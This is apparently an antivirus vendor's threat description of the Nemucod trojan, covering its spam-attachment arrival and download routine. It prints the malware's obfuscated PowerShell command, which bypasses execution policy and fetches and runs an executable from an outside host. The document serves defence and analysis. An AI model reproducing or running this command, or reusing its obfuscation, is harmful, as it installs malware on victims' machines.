JS_NEMUCOD.ELDSAUAR

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}enachter.de/Styles/outloo.exe

It saves the files it downloads using the following names:

• %AppDataLocal%\Tempejejpoqw.exe

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• Executes a powershell script for the download routine using the following commandline:
  "%System%\cmd.exe" /c " powershell $ujitq='^nv:temp+''eje';$jqohilp='^Policy Bypass';$oflehi='^h';$nacqyb='^jpoqw.exe'');(';$ruxym='^/outloo.exe'',';$igmycte='^stem.Net.Webc';$aqila='^New-Object Sy';$aheh='^$path); Start';$ihudb='^ss; $path=($e';$qlolowq='^-Process $pat';$almyr='^Set-Execution';$qgawa='^ -Scope Proce';$ygapne='^adFile(''http:';$zbiba='^ter.de/Styles';$usyspu='^//seehasenach';$enzuz='^lient).Downlo'; Invoke-Expression ($almyr+$jqohilp+$qgawa+$ihudb+$ujitq+$nacqyb+$aqila+$igmycte+$enzuz+$ygapne+$usyspu+$zbiba+$ruxym+$aheh+$qlolowq+$oflehi);

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

NOTES:

It does not have rootkit capabilities.

It does not exploit any vulnerability.

It exhibits code error upon execution.